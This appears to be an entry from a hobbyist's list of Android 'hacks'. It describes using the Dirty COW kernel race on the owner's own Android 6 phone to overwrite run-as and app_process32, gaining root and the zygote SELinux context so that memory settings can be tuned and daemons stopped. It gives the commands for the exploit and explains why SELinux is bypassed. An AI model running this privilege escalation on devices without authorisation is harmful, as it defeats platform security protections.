< Back to all hacks

#36 Dirty COW SELinux Bypass (zygote context)

Dirty COW
Problem
SELinux blocks ALL writes to /data/system/ even with root uid=0 in shell context.
Solution
Cross-compile 2232-byte ARM binary, embed COW race, overwrite app_process32 to run as zygote. COW race bypasses SELinux write checks.
Lesson
COW race writes via /proc/self/mem bypass SELinux because kernel doesn't check that code path.

Context

Dirty COW (Hack #34) gives uid=0 root, but the SELinux context remains u:r:shell:s0. On Android 6, the shell domain cannot write to /proc/sys/ (kernel tuning), /data/system/ (package state), or /sys/ (lowmemorykiller parameters). Even with root uid, SELinux blocks the operations.

The key insight is that the COW race condition writes to files via madvise(MADV_DONTNEED) + /proc/self/mem, which bypasses the normal write() syscall. SELinux hooks into write() but not into the page cache manipulation that Dirty COW exploits. By overwriting app_process32 (which runs as u:r:zygote:s0), we can execute arbitrary code in the zygote SELinux context, which has permissions to write kernel parameters and control services.

Implementation

Two-phase approach: first overwrite run-as for root, then overwrite app_process32 for zygote context.

The payload binary is cross-compiled on Windows with NDK:

# Cross-compile the 2232-byte ARM payload (Windows NDK)
$CC -nostdlib -static -Os -fno-stack-protector -o fix-zygote2 fix-zygote2.c
# Result: 2232 bytes, ELF 32-bit ARM static binary

# Push to phone:
adb push fix-zygote2 /data/local/tmp/
adb push dirtycow /data/local/tmp/
adb push run-as-payload /data/local/tmp/

Execute the two-phase exploit from ADB shell:

# Phase 1: Get root via run-as overwrite
./dirtycow run-as-payload /system/bin/run-as
# "patch successful, iterations 1"

# Phase 2: Overwrite app_process32 with zygote payload
./dirtycow fix-zygote2 /system/bin/app_process32
# Wait ~10s for init to restart zygote with our payload

# The payload runs as zygote (u:r:zygote:s0) and can:
# - Write to /proc/sys/vm/* (kernel tuning)
# - ctl.stop daemons via property_set
# - Modify lowmemorykiller parameters

# Sync and reboot to restore app_process32 from disk
echo 'sync; sync; sync' | /system/bin/run-as
reboot

Verification

# After reboot, verify kernel parameters were applied:
adb shell cat /proc/sys/vm/vfs_cache_pressure
# Expected: 500 (set by payload)

adb shell cat /proc/sys/vm/min_free_kbytes
# Expected: 2048 (set by payload)

# Verify daemons are stopped:
adb shell getprop | grep -E "drmserver|qcamerasvr|audiod"
# Expected: ctl.stop properties set

Gotchas

  • The app_process32 overwrite is in page cache only — reboot restores the original from disk. This is both a safety feature and a limitation (must re-run after every reboot)
  • The zygote restart takes ~10 seconds. During this time, ALL apps are killed and restarted (zygote is the parent of all Android apps)
  • The payload must be exactly the same size as app_process32 (or smaller, padded with NOPs). Larger payloads corrupt the binary
  • -nostdlib -static is required because the payload runs before the linker is available
  • If the payload crashes, zygote enters a restart loop. init will restart it with the original binary after ~30 seconds

Result

MetricBeforeAfter
SELinux bypassShell context onlyZygote context
Kernel tuningBlockedvfs_cache_pressure, min_free_kbytes
Daemon controlCannot ctl.stop6 daemons stopped
Available RAM~350 MB~450 MB